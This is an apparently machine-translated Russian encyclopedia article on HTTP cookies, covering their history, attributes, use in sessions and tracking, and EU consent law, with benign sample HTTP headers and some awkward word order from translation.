✖


Jump to content

HTTP-куки

Страница полузащищена
Послушайте эту статью
(Перенаправлено с баннера Cookie )

HTTP
Методы запроса
Поля заголовка
Коды статуса ответа
Методы безопасного контроля доступа
Уязвимости безопасности

Файлы cookie HTTP (также называемые веб-файлами cookie , Интернет-файлами cookie , файлами cookie браузера или просто файлами cookie ) представляют собой небольшие блоки данных , создаваемые веб-сервером , когда пользователь просматривает - веб сайт пользователя , и размещаемые на компьютере пользователя или другом устройстве веб-браузером . Файлы cookie размещаются на устройстве, используемом для доступа к веб-сайту, и во время сеанса на устройстве пользователя может быть размещено более одного файла cookie.

Файлы cookie выполняют полезные, а иногда и важные функции в Интернете . Они позволяют веб-серверам хранить информацию о состоянии (например, товары, добавленные в корзину в интернет-магазине ) на устройстве пользователя или отслеживать активность пользователя в Интернете (включая нажатие определенных кнопок, вход в систему или запись посещенных страниц в прошлое ). [1] Их также можно использовать для сохранения информации, которую пользователь ранее ввел в поля формы , такой как имена, адреса, пароли и номера платежных карт , для последующего использования.

Файлы cookie аутентификации обычно используются веб-серверами для проверки того, что пользователь вошел в систему и с какой учетной записью он вошел в систему. Без файлов cookie пользователям необходимо будет аутентифицировать себя, входя в систему на каждой странице, содержащей конфиденциальную информацию, к которой они хотят получить доступ. . Безопасность файла cookie аутентификации обычно зависит от безопасности выдающего его веб-сайта и веб-браузера пользователя, а также от того, зашифрованы ли данные файла cookie . Уязвимости безопасности прочитать данные файла cookie могут позволить злоумышленнику , использовать их для получения доступа к пользовательским данным или использовать для получения доступа (с учетными данными пользователя) к веб-сайту, которому принадлежит файл cookie (см. межсайтовый скриптинг и межсайтовый скриптинг ). подделка запроса на сайт для примера). [2]

Отслеживающие файлы cookie , и особенно сторонние файлы cookie для отслеживания , обычно используются в качестве способа составления долгосрочных записей истории посещений отдельных лиц — потенциальная проблема конфиденциальности , которая побудила европейцев [3] и законодатели США примут меры в 2011 году. [4] [5] Европейский закон требует, чтобы все веб-сайты, ориентированные на государства-члены Европейского Союза, получали « информированное согласие » пользователей перед сохранением несущественных файлов cookie на их устройствах.

Фон

HTTP-файлы cookie имеют то же название, что и популярная выпечка .

Происхождение имени

Термин cookie был придуман программистом веб-браузера Лу Монтулли . Оно произошло от термина «волшебный cookie» , который представляет собой пакет данных, который программа получает и отправляет обратно в неизмененном виде, используемый программистами Unix . [6] [7]

История

Волшебные файлы cookie уже использовались в вычислительной технике, когда в июне 1994 года программисту Лу Монтулли пришла в голову идея использовать их в веб-коммуникациях. [8] В то время он был сотрудником компании Netscape Communications , которая разрабатывала приложение электронной коммерции для MCI . Винт Серф и Джон Кленсин представляли MCI в технических переговорах с Netscape Communications. MCI не хотела, чтобы ее серверы сохраняли частичные состояния транзакций, поэтому они попросили Netscape вместо этого найти способ хранить это состояние на компьютере каждого пользователя. Файлы cookie позволили решить проблему надежной реализации виртуальной корзины покупок . [9] [10]

В том же году вместе с Джоном Джаннандреа Монтулли написал первоначальную спецификацию файлов cookie Netscape. Версия 0.9beta Mosaic Netscape , выпущенная 13 октября 1994 г. [11] [12] поддерживаемые файлы cookie. [10] Первое использование файлов cookie (вне лабораторных исследований) заключалось в проверке того, посещали ли посетители веб-сайта Netscape этот сайт. Монтулли подал заявку на патент на технологию печенья в 1995 году, который был выдан в 1998 году. [13] Поддержка файлов cookie была интегрирована в Internet Explorer во второй версии, выпущенной в октябре 1995 года. [14]

В то время появление файлов cookie не было широко известно общественности. В частности, файлы cookie принимались по умолчанию, и пользователи не были уведомлены об их наличии. [ нужна ссылка ] Общественность узнала о файлах cookie после того, как газета Financial Times опубликовала о них статью 12 февраля 1996 года. [15] В том же году файлы cookie привлекли большое внимание средств массовой информации, особенно из-за потенциальных последствий для конфиденциальности. Файлы cookie обсуждались на двух слушаниях Федеральной торговой комиссии США в 1996 и 1997 годах. [2]

Разработка формальных спецификаций файлов cookie уже продолжается. В частности, первые обсуждения официальной спецификации начались в апреле 1995 года в списке рассылки www-talk . (IETF) была сформирована специальная рабочая группа В рамках Internet Engineering Task Force . Два альтернативных предложения по введению состояния в HTTP-транзакции были предложены Брайаном Белендорфом и Дэвидом Кристолом соответственно. Но группа, возглавляемая самим Кристолом и Лу Монтулли, вскоре решила использовать спецификацию Netscape в качестве отправной точки. В феврале 1996 года рабочая группа определила сторонние файлы cookie как серьезную угрозу конфиденциальности. Спецификация, разработанная группой, в конечном итоге была опубликована как RFC 2109 в феврале 1997 года. В ней указано, что сторонние файлы cookie либо вообще не разрешены, либо, по крайней мере, не включены по умолчанию. [16] В это время рекламные компании уже использовали сторонние файлы cookie. Рекомендация RFC 2109 о сторонних файлах cookie не была соблюдена Netscape и Internet Explorer. RFC 2109 был заменен RFC 2965 в октябре 2000 года.

RFC 2965 добавил Set-Cookie2 поле заголовка , которое неофициально стало называться «cookie-файлами в стиле RFC 2965», в отличие от исходного Set-Cookie поле заголовка, которое называлось «cookies в стиле Netscape». [17] [18] Set-Cookie2 Однако использовался редко и был объявлен устаревшим в RFC 6265 в апреле 2011 года, который был написан как окончательная спецификация для файлов cookie, используемых в реальном мире. [19] Ни один современный браузер не распознает Set-Cookie2 поле заголовка. [20]

Терминология

Сеансовый файл cookie (также известный как файл cookie в памяти , временный файл cookie или непостоянный файл cookie ) существует только во временной памяти, пока пользователь перемещается по веб-сайту. [21] Срок действия файлов cookie сеанса истекает или они удаляются, когда пользователь закрывает веб-браузер. [22] Сеансовые файлы cookie идентифицируются браузером по отсутствию назначенного им срока действия.

истекает Срок действия постоянного файла cookie в определенную дату или по истечении определенного периода времени. В течение срока действия постоянного файла cookie, установленного его создателем, его информация будет передаваться на сервер каждый раз, когда пользователь посещает веб-сайт, которому он принадлежит, или каждый раз, когда пользователь просматривает ресурс, принадлежащий этому веб-сайту, с другого веб-сайта (например, рекламу). ).

По этой причине постоянные файлы cookie иногда называют отслеживающими файлами cookie. [ нужна ссылка ] поскольку они могут использоваться рекламодателями для записи информации о привычках пользователя просматривать веб-страницы в течение длительного периода времени. Постоянные файлы cookie также используются по таким причинам, как сохранение входа пользователей в свои учетные записи на веб-сайтах, чтобы избежать повторного ввода учетных данных при каждом посещении. (См. § Использование ниже.)

может Безопасный файл cookie передаваться только по зашифрованному соединению (т. е. HTTPS ). Их нельзя передавать по незашифрованным соединениям (т. е. HTTP ). Это снижает вероятность кражи файлов cookie в результате подслушивания . Файл cookie становится безопасным благодаря добавлению Secure отметьте файл cookie.

невозможен Доступ к файлу cookie только для http с помощью клиентских API, таких как JavaScript . Это ограничение устраняет угрозу кражи файлов cookie с помощью межсайтового скриптинга (XSS). [23] Однако файл cookie остается уязвимым для атак межсайтовой трассировки (XST) и подделки межсайтовых запросов (CSRF). Файлу cookie придается эта характеристика путем добавления HttpOnly отметьте файл cookie.

В 2016 году представлен Google Chrome версии 51. [24] новый вид файлов cookie с атрибутом SameSite с возможными значениями Strict, Lax или None. [25] С атрибутом SameSite=Strict, браузеры будут отправлять файлы cookie только в целевой домен, который совпадает с исходным доменом. Это эффективно смягчит атаки с подделкой межсайтовых запросов (CSRF). [26] С SameSite=Lax, браузеры будут отправлять файлы cookie с запросами на целевой домен, даже если он отличается от исходного домена, но только для безопасных запросов, таких как GET (POST небезопасен), а не сторонних файлов cookie (внутри iframe). Атрибут SameSite=None разрешает сторонние (межсайтовые) файлы cookie, однако для большинства браузеров требуется атрибут Secure для файлов cookie SameSite=None. [27]

Файл cookie того же сайта включен в новый проект RFC «Файлы cookie: механизм управления состоянием HTTP». [28] обновить RFC 6265 (в случае одобрения).

Chrome, Firefox и Edge начали поддерживать файлы cookie одного сайта. [29] Ключом к развертыванию является обработка существующих файлов cookie без определенного атрибута SameSite. Chrome обрабатывает эти существующие файлы cookie так, как если бы SameSite=None, это позволит всем веб-сайтам/приложениям работать как раньше. Google намеревался изменить это значение по умолчанию на SameSite=Lax в Chrome 80 планируется выпустить в феврале 2020 года, [30] но из-за возможной поломки тех приложений/веб-сайтов, которые полагаются на сторонние/межсайтовые файлы cookie, а также из- за обстоятельств COVID-19 , Google отложил это изменение до Chrome 84. [31] [32]

Суперпеченье

Суперкуки — это файлы cookie, источником которых является домен верхнего уровня (например, .com) или общедоступный суффикс (например, .co.uk). Обычные файлы cookie, напротив, имеют происхождение от определенного доменного имени, например example.com.

Суперкуки могут представлять потенциальную угрозу безопасности и поэтому часто блокируются веб-браузерами. В случае разблокировки браузером злоумышленник, контролирующий вредоносный веб-сайт, может установить суперкуки и потенциально нарушить или выдать себя за законные запросы пользователей на другой веб-сайт, который использует тот же домен верхнего уровня или общедоступный суффикс, что и вредоносный веб-сайт. Например, суперпеченье происхождения .com, может злонамеренно повлиять на запрос, отправленный example.com, даже если файл cookie исходил не от example.com. Это может быть использовано для подделки входа в систему или изменения информации о пользователе.

Список общедоступных суффиксов [33] помогает снизить риск, который представляют суперкуки. Список общедоступных суффиксов — это инициатива нескольких поставщиков, целью которой является предоставление точного и актуального списка суффиксов доменных имен. Более старые версии браузеров могут не иметь обновленного списка и поэтому будут уязвимы для суперкуки из определенных доменов.

Другое использование

Термин «суперкуки» иногда используется для обозначения технологий отслеживания, которые не используют файлы cookie HTTP. В августе 2011 года на веб-сайтах Microsoft были обнаружены два таких механизма суперкуки : синхронизация файлов cookie, которая порождала файлы cookie MUID (уникальный идентификатор компьютера), и файлы cookie ETag . [34] Из-за внимания средств массовой информации Microsoft позже отключила этот код. [35] В сообщении в блоге 2021 года Mozilla использовала термин «суперкуки» для обозначения использования кеша браузера как средства отслеживания пользователей на разных сайтах. [36]

Основные статьи: Zombie cookie и Evercookie

Зомби -куки — это данные и код, которые были размещены веб-сервером на компьютере посетителя или другом устройстве в скрытом месте за пределами выделенного места хранения файлов cookie веб-браузера посетителя и которые автоматически воссоздают HTTP-куки-файлы как обычные файлы cookie после исходный файл cookie был удален. Файл cookie-зомби может храниться в нескольких местах, таких как общий объект Flash Local , веб-хранилище HTML5 и других местах на стороне клиента и даже на стороне сервера, и когда в одном из мест обнаруживается отсутствие, отсутствующий экземпляр воссоздается с помощью код JavaScript, использующий данные, хранящиеся в других местах. [37] [38]

На веб-сайте появляется стена файлов cookie и информирует пользователя об использовании файлов cookie на веб-сайте. У него нет возможности отклонения, и веб-сайт недоступен без файлов cookie отслеживания.

Структура

Файл cookie состоит из следующих компонентов: [39] [40] [41]

  1. Имя
  2. Ценить
  3. Ноль или более атрибутов ( пар имя/значение ). Атрибуты хранят такую ​​информацию, как срок действия файла cookie, домен и флаги (например, Secure и HttpOnly).

Использование

Управление сеансами

Первоначально файлы cookie были созданы для того, чтобы предоставить пользователям возможность записывать товары, которые они хотят приобрести, при навигации по веб-сайту (виртуальная корзина для покупок или корзина для покупок ). [9] [10] Однако сегодня содержимое корзины покупок пользователя обычно хранится в базе данных на сервере, а не в файле cookie на клиенте. Чтобы отслеживать, какой пользователь к какой корзине покупок привязан, сервер отправляет клиенту файл cookie, который содержит уникальный идентификатор сеанса (обычно длинную строку случайных букв и цифр). Поскольку файлы cookie отправляются на сервер при каждом запросе клиента, этот идентификатор сеанса будет отправляться обратно на сервер каждый раз, когда пользователь посещает новую страницу веб-сайта, что позволяет серверу узнать, какую корзину покупок отображать пользователю.

Еще одно популярное использование файлов cookie — вход на веб-сайты. Когда пользователь посещает страницу входа на веб-сайт, веб-сервер обычно отправляет клиенту файл cookie, содержащий уникальный идентификатор сеанса. Когда пользователь успешно входит в систему, сервер запоминает, что этот конкретный идентификатор сеанса был аутентифицирован, и предоставляет пользователю доступ к своим службам.

Поскольку файлы cookie сеанса содержат только уникальный идентификатор сеанса, это делает объем личной информации о каждом пользователе, которую веб-сайт может сохранить, практически безграничным — веб-сайт не ограничен ограничениями относительно размера файла cookie. Сеансовые файлы cookie также помогают сократить время загрузки страницы, поскольку объем информации в сеансовых файлах cookie невелик и требует небольшой пропускной способности.

Персонализация

Файлы cookie могут использоваться для запоминания информации о пользователе, чтобы с течением времени показывать этому пользователю релевантный контент. Например, веб-сервер может отправить файл cookie, содержащий имя пользователя, которое в последний раз использовалось для входа на веб-сайт, чтобы оно могло быть заполнено автоматически при следующем входе пользователя в систему.

Многие веб-сайты используют файлы cookie для персонализации на основе предпочтений пользователя. Пользователи выбирают свои предпочтения, вводя их в веб-форму и отправляя форму на сервер. Сервер кодирует настройки в файле cookie и отправляет его обратно в браузер. Таким образом, каждый раз, когда пользователь заходит на страницу веб-сайта, сервер может персонализировать страницу в соответствии с предпочтениями пользователя. Например, поисковая система Google однажды использовала файлы cookie, чтобы позволить пользователям (даже незарегистрированным) решать, сколько результатов поиска на странице они хотят видеть. Кроме того, DuckDuckGo использует файлы cookie, чтобы пользователи могли устанавливать предпочтения просмотра, например цвета веб-страницы.

Отслеживание

См. также: Веб-отслеживание

Отслеживающие файлы cookie используются для отслеживания привычек пользователей при просмотре веб-страниц. В некоторой степени это также можно сделать, используя IP-адрес компьютера, запрашивающего страницу, или Referer поле заголовка HTTP- запроса, но файлы cookie обеспечивают большую точность. Это можно продемонстрировать следующим образом:

  1. Если пользователь запрашивает страницу сайта, но запрос не содержит файлов cookie, сервер предполагает, что это первая страница, посещенная пользователем. Таким образом, сервер создает уникальный идентификатор (обычно строку случайных букв и цифр) и отправляет его в виде файла cookie обратно в браузер вместе с запрошенной страницей.
  2. С этого момента файл cookie будет автоматически отправляться браузером на сервер каждый раз, когда запрашивается новая страница сайта. Сервер не только отправляет страницу как обычно, но также сохраняет URL-адрес запрошенной страницы, дату/время запроса и файл cookie в файле журнала.

Анализируя этот файл журнала, можно узнать, какие страницы посещал пользователь, в какой последовательности и как долго.

Корпорации используют веб-привычки пользователей, отслеживая файлы cookie для сбора информации о покупательских привычках. Газета Wall Street Journal обнаружила, что на пятидесяти крупнейших веб-сайтах Америки было установлено в среднем шестьдесят четыре технологии отслеживания на компьютерах, в результате чего в общей сложности было создано 3180 файлов отслеживания. [42] Затем данные могут быть собраны и проданы корпорациям, участвующим в торгах.

Выполнение

Возможное взаимодействие между веб-браузером и веб-сервером, содержащим веб-страницу, при котором сервер отправляет браузеру файл cookie, а браузер отправляет его обратно при запросе другой страницы.

Файлы cookie представляют собой произвольные фрагменты данных, обычно выбираемые и сначала отправляемые веб-сервером, а затем сохраняемые на клиентском компьютере веб-браузером. Затем браузер отправляет их обратно на сервер с каждым запросом, добавляя состояния (память о предыдущих событиях) в HTTP- транзакции без сохранения состояния. Без файлов cookie каждый запрос веб-страницы или компонента веб-страницы был бы изолированным событием, практически не связанным со всеми другими просмотрами страниц, совершаемыми пользователем на веб-сайте. Хотя файлы cookie обычно устанавливаются веб-сервером, они также могут быть установлены клиентом с использованием языка сценариев, такого как JavaScript (если файл cookie не установлен). HttpOnly установлен флаг, и в этом случае файл cookie не может быть изменен языками сценариев).

Характеристики файлов cookie [43] [44] требуют, чтобы браузеры соответствовали следующим требованиям для поддержки файлов cookie:

  • Может поддерживать файлы cookie размером до 4096 байт .
  • Может поддерживать не менее 50 файлов cookie на домен (т. е. на веб-сайт).
  • Всего может поддерживать не менее 3000 файлов cookie.

Файлы cookie устанавливаются с помощью Set-Cookie Поле заголовка , отправленное в ответе HTTP от веб-сервера. Это поле заголовка указывает веб-браузеру хранить файл cookie и отправлять его обратно при будущих запросах на сервер (браузер будет игнорировать это поле заголовка, если он не поддерживает файлы cookie или отключил файлы cookie).

Например, браузер отправляет свой первый HTTP-запрос на домашнюю страницу. www.example.org сайт: 

GET /index.html HTTP/1.1
Host: www.example.org
...

Сервер отвечает двумя Set-Cookie поля заголовка: 

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT
...

HTTP-ответ сервера содержит содержимое домашней страницы веб-сайта. Но он также предписывает браузеру установить два файла cookie. Первый, theme , считается сеансовым файлом cookie, поскольку у него нет файла cookie. Expires или Max-Age атрибут. Сеансовые файлы cookie предназначены для удаления браузером при его закрытии. Второй, sessionToken , считается постоянным файлом cookie, поскольку он содержит Expires атрибут, который указывает браузеру удалить файл cookie в определенную дату и время.

Далее браузер отправляет еще один запрос на посещение spec.html страница на сайте. Этот запрос содержит Cookie Поле заголовка, содержащее два файла cookie, которые сервер поручил браузеру установить: 

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
…

Таким образом, сервер узнает, что этот HTTP-запрос связан с предыдущим. Сервер ответит, отправив запрошенную страницу, возможно, включая больше Set-Cookie поля заголовка в ответе HTTP, чтобы указать браузеру добавить новые файлы cookie, изменить существующие файлы cookie или удалить существующие файлы cookie. Чтобы удалить файл cookie, сервер должен включить Set-Cookie поле заголовка со сроком действия в прошлом.

Значение файла cookie может состоять из любого печатаемого ASCII ( символа ! через ~, Юникод \u0021 через \u007E) исключая ,и ; и пробельные символы . Имя файла cookie исключает те же символы, а также =, поскольку это разделитель между именем и значением. Стандарт файлов cookie RFC 2965 является более ограничительным, но не реализуется браузерами.

Термин «крошка файла cookie» иногда используется для обозначения пары «имя-значение» файла cookie. [45]

Файлы cookie также могут устанавливаться с помощью языков сценариев, таких как JavaScript , которые запускаются в браузере. В JavaScript объект document.cookie используется для этой цели. Например, инструкция document.cookie = "temperature=20" создает файл cookie с именем температуры и значением 20 . [46]

Помимо имени и значения файлы cookie также могут иметь один или несколько атрибутов. Браузеры не включают атрибуты файлов cookie в запросы к серверу — они отправляют только имя и значение файла cookie. Атрибуты файлов cookie используются браузерами, чтобы определить, когда следует удалить файл cookie, заблокировать его или отправить файл cookie на сервер.

Домен и путь

The Domain и Path атрибуты определяют область действия файла cookie. По сути, они сообщают браузеру, какому веб-сайту принадлежит файл cookie. По соображениям безопасности файлы cookie можно устанавливать только для верхнего домена текущего ресурса и его поддоменов, но не для другого домена и его поддоменов. Например, сайт example.org невозможно установить файл cookie с доменом foo.com потому что это позволит веб-сайту example.org контролировать куки-файлы домена foo.com.

Если файл cookie Domain и Path атрибуты не указываются сервером, по умолчанию они соответствуют домену и пути к запрошенному ресурсу. [47] Однако в большинстве браузеров существует разница между набором файлов cookie и foo.com без домена и набором файлов cookie с foo.com домен. В первом случае файл cookie будет отправляться только для запросов к foo.com, также известный как файл cookie только для хоста. В последнем случае также включаются все поддомены (например, docs.foo.com). [48] [49] Заметным исключением из этого общего правила являются Edge до Windows 10 RS3 и Internet Explorer до IE 11 и Windows 10 RS4 (апрель 2018 г.), которые всегда отправляют файлы cookie в поддомены независимо от того, были ли файлы cookie установлены с доменом или без него. [50]

Ниже приведен пример некоторых Set-Cookie поля заголовка в HTTP-ответе веб-сайта после входа пользователя в систему. HTTP-запрос был отправлен на веб-страницу внутри docs.foo.com поддомен: 

HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
…

Первое печенье, LSID, не имеет Domain атрибут и имеет Path атрибут установлен на /accounts. Это указывает браузеру использовать файлы cookie только при запросе страниц, содержащихся в docs.foo.com/accounts (домен получен из домена запроса). Два других печенья, HSID и SSID, будет использоваться, когда браузер запрашивает любой поддомен в .foo.com по любому пути (например www.foo.com/bar). Точка в начале не является обязательной в последних стандартах, но ее можно добавить для совместимости с реализациями на основе RFC 2109. [51]

Срок действия и максимальный возраст

The Expires Атрибут определяет конкретную дату и время, когда браузер должен удалить файл cookie. Дата и время указываются в форме Wdy, DD Mon YYYY HH:MM:SS GMT, или в форме Wdy, DD Mon YY HH:MM:SS GMT для значений YY, где YY больше или равно 0 и меньше или равно 69. [52]

Альтернативно, Max-Age Атрибут можно использовать для установки срока действия файла cookie в виде интервала в секундах в будущем относительно времени, когда браузер получил файл cookie. Ниже приведен пример трех Set-Cookie поля заголовка, полученные с сайта после входа пользователя: 

HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

Первое печенье, luСрок действия истекает 15 января 2013 г. До этого времени он будет использоваться клиентским браузером. Второе печенье, made_write_conn, не имеет срока действия, что делает его сеансовым файлом cookie. Он будет удален после того, как пользователь закроет браузер. Третье печенье, reg_fb_gate, его значение изменено на delete со сроком действия в прошлом. Браузер немедленно удалит этот файл cookie, поскольку срок его действия уже прошел. Обратите внимание, что файлы cookie будут удалены только в том случае, если атрибуты домена и пути в Set-Cookie поле соответствует значениям, использованным при создании файла cookie.

По состоянию на 2016 год Internet Explorer не поддерживает Max-Age. [53] [54]

Безопасный и только Http

The Secure и HttpOnly атрибуты не имеют связанных значений. Скорее, наличие только имен их атрибутов указывает на то, что их поведение должно быть включено.

The Secure Атрибут предназначен для того, чтобы передача файлов cookie ограничивалась зашифрованной передачей, предписывая браузерам использовать файлы cookie только через безопасные/зашифрованные соединения. Однако если веб-сервер устанавливает файл cookie с атрибутом безопасности из незащищенного соединения, файл cookie все равно может быть перехвачен при отправке пользователю с помощью атак «человек посередине» . Поэтому для максимальной безопасности файлы cookie с атрибутом Secure следует устанавливать только через безопасное соединение.

The HttpOnly Атрибут предписывает браузерам не предоставлять файлы cookie через каналы, отличные от запросов HTTP (и HTTPS). Это означает, что к файлу cookie нельзя получить доступ через языки сценариев на стороне клиента (в частности, JavaScript ), и, следовательно, его нельзя легко украсть с помощью межсайтового сценария (техника всеобъемлющей атаки). [55]

Настройки браузера

Большинство современных браузеров поддерживают файлы cookie и позволяют пользователю отключать их. Ниже приведены распространенные варианты: [56]

  • Чтобы полностью включить или отключить файлы cookie, чтобы они всегда принимались или всегда блокировались.
  • Для просмотра и выборочного удаления файлов cookie с помощью менеджера файлов cookie.
  • Полностью стереть все личные данные, включая файлы cookie.

Также существуют дополнительные инструменты для управления разрешениями на использование файлов cookie. [57] [58] [59] [60]

Основная статья: Сторонние файлы cookie
См. также: Веб-аналитика § Проблемы с файлами cookie.

Файлы cookie имеют важные последствия для конфиденциальности и анонимности веб-пользователей. Хотя файлы cookie отправляются только на сервер, устанавливающий их, или на сервер в том же интернет-домене, веб-страница может содержать изображения или другие компоненты, хранящиеся на серверах в других доменах. Файлы cookie, которые устанавливаются во время получения этих компонентов, называются сторонними файлами cookie . Сторонний файл cookie принадлежит домену, отличному от того, который указан в адресной строке. Этот тип файлов cookie обычно появляется, когда веб-страницы содержат контент с внешних веб-сайтов, например рекламные баннеры . Это открывает возможности для отслеживания истории просмотров пользователя и используется рекламодателями для показа релевантной рекламы каждому пользователю.

В этом вымышленном примере рекламная компания разместила баннеры на двух веб-сайтах. Размещая изображения баннеров на своих серверах и используя сторонние файлы cookie, рекламная компания может отслеживать просмотр пользователей на этих двух сайтах.

В качестве примера предположим, что пользователь посещает www.example.org. На этом сайте размещена реклама от ad.foxytracking.com, который при загрузке устанавливает файл cookie, принадлежащий домену рекламного объявления ( ad.foxytracking.com). Затем пользователь посещает другой веб-сайт, www.foo.com, который также содержит рекламу от ad.foxytracking.com и устанавливает файл cookie, принадлежащий этому домену ( ad.foxytracking.com). В конечном итоге оба этих файла cookie будут отправлены рекламодателю при загрузке его рекламы или посещении его веб-сайта. Рекламодатель может затем использовать эти файлы cookie для создания истории посещений пользователем всех веб-сайтов, на которых есть реклама этого рекламодателя, посредством использования поля заголовка HTTP-реферера .

По состоянию на 2014 год , некоторые веб-сайты устанавливали файлы cookie, доступные для чтения более чем 100 сторонним доменам. [61] В среднем на одном веб-сайте устанавливалось 10 файлов cookie, при этом максимальное количество файлов cookie (основных и сторонних) достигало более 800. [62]

Старые стандарты файлов cookie, RFC 2109. [16] и RFC 2965 рекомендуют браузерам защищать конфиденциальность пользователей и по умолчанию не разрешать обмен файлами cookie между серверами. Однако новый стандарт RFC 6265 явно позволяет пользовательским агентам реализовывать любую политику сторонних файлов cookie, которую они пожелают. Большинство современных веб-браузеров содержат настройки конфиденциальности , которые могут блокировать сторонние файлы cookie. С 2020 года Apple Safari , [63] Фаерфокс , [64] и храбрый [65] по умолчанию блокировать все сторонние файлы cookie. Safari позволяет встроенным сайтам использовать API доступа к хранилищу для запроса разрешения на установку собственных файлов cookie. В мае 2020 года в Google Chrome 83 были представлены новые функции для блокировки сторонних файлов cookie по умолчанию в режиме инкогнито для частного просмотра, что сделало блокировку необязательной во время обычного просмотра. В том же обновлении также добавлена ​​возможность блокировать основные файлы cookie. [66] В апреле 2024 года Chrome по умолчанию отложил блокировку сторонних файлов cookie до 2025 года. [67] В июле 2024 года Google объявила о плане не блокировать сторонние файлы cookie по умолчанию и вместо этого предлагать пользователям разрешить использование сторонних файлов cookie. [68]

Конфиденциальность

См. также: Не отслеживать

Возможность создания профилей пользователей представляет собой угрозу конфиденциальности, особенно когда отслеживание осуществляется на нескольких доменах с использованием сторонних файлов cookie. По этой причине в некоторых странах действует законодательство о файлах cookie.

Операторы веб-сайтов, которые не раскрывают потребителям информацию об использовании сторонних файлов cookie, рискуют подорвать доверие потребителей, если использование файлов cookie будет обнаружено. Четкое раскрытие информации (например, в политике конфиденциальности ) обычно устраняет любые негативные последствия такого обнаружения файлов cookie. [69] [ не удалось пройти проверку ]

Правительство Соединенных Штатов установило строгие правила установки файлов cookie в 2000 году после того, как стало известно, что отдел политики Белого дома по борьбе с наркотиками использовал файлы cookie для отслеживания пользователей компьютеров, просматривающих его онлайн-рекламу, направленную против наркотиков. В 2002 году активист по защите конфиденциальности Дэниел Брандт обнаружил, что ЦРУ оставляло постоянные файлы cookie на компьютерах, которые посещали его веб-сайт. Получив уведомление о нарушении политики, ЦРУ заявило, что эти файлы cookie не были установлены намеренно, и прекратило их установку. 25 декабря 2005 года Брандт обнаружил, что Агентство национальной безопасности (АНБ) оставило два постоянных файла cookie на компьютерах посетителей из-за обновления программного обеспечения. Получив сообщение, АНБ немедленно отключило файлы cookie. [70]

В 2002 году Европейский Союз принял Директиву о конфиденциальности и электронных коммуникациях (Директива о конфиденциальности электронных данных), политику, требующую согласия конечных пользователей на размещение файлов cookie и аналогичных технологий для хранения и доступа к информации на пользовательском оборудовании. [71] [72] В частности, пункт 3 статьи 5 предписывает, что хранение технически ненужных данных на компьютере пользователя может осуществляться только в том случае, если пользователю предоставлена ​​информация о том, как эти данные используются, и пользователю предоставлена ​​возможность отказать в этой операции хранения. Директива не требует от пользователей авторизации или предоставления уведомления об использовании файлов cookie, которые функционально необходимы для предоставления запрошенной ими услуги, например, для сохранения настроек, сохранения сеансов входа в систему или запоминания того, что находится в корзине покупок пользователя. [73]

В 2009 году в закон были внесены поправки Директивой 2009/136/EC, которая включала изменение в параграф 3 статьи 5. Вместо того, чтобы предоставить пользователям возможность отказаться от хранения файлов cookie, пересмотренная Директива требует получения согласия на использование файлов cookie. хранилище. [72] Определение согласия имеет перекрестную ссылку на определение в европейском законодательстве о защите данных, сначала в Директиве о защите данных 1995 года, а затем в Общем регламенте защиты данных (GDPR). Поскольку определение согласия было усилено в тексте GDPR, это привело к повышению качества согласия, требуемого теми, кто хранит и получает доступ к такой информации, как файлы cookie, на устройствах пользователей. Однако в деле, решение по которому было принято в соответствии с Директивой о защите данных, Суд Европейского Союза позже подтвердил, что предыдущий закон подразумевал такое же строгое качество согласия, как и действующий документ. [74] Помимо требования согласия, которое вытекает из хранения или доступа к информации на конечном устройстве пользователя, информация во многих файлах cookie будет считаться персональными данными только в соответствии с GDPR, и для обработки потребуется юридическое основание. Так было со времени принятия Директивы о защите данных 1995 года, в которой использовалось идентичное определение персональных данных, хотя GDPR в пояснительной части 30 уточняет, что сюда включены идентификаторы файлов cookie. Хотя не вся обработка данных в соответствии с GDPR требует согласия, характеристики поведенческой рекламы означают, что ее трудно или невозможно оправдать каким-либо другим основанием. [75] [76]

Согласие в соответствии с GDPR и Директивой о конфиденциальности в Интернете должно соответствовать ряду условий в отношении файлов cookie. [77] Оно должно быть предоставлено свободно и недвусмысленно: предварительно отмеченные поля были запрещены Директивой о защите данных 1995 г. [74] и GDPR (декларативная часть 32). [78] В GDPR указано, что согласие должно быть «так же легко отозвать, как и дать». [78] Это означает, что кнопка «Отклонить все» должна быть так же легкодоступна с точки зрения кликов и видимости, как и кнопка «Принять все». [77] Оно должно быть конкретным и информативным, то есть согласие относится к конкретным целям использования этих данных, и все организации, желающие использовать это согласие, должны быть конкретно названы. [79] [80] Суд Европейского Союза также постановил, что согласие должно быть «эффективным и своевременным», то есть оно должно быть получено до того, как будут установлены файлы cookie и начнется обработка данных, а не после этого. [81]

Реакция отрасли была в основном негативной. Роберт Бонд из юридической фирмы Speechly Bircham описывает последствия как «далеко идущие и невероятно обременительные» для «всех британских компаний». Саймон Дэвис из Privacy International утверждает, что надлежащее правоприменение «уничтожит всю отрасль». [82] Однако ученые отмечают, что обременительный характер всплывающих окон с файлами cookie проистекает из попытки продолжать использовать бизнес-модель посредством запутанных запросов, которые могут быть несовместимы с GDPR. [75]

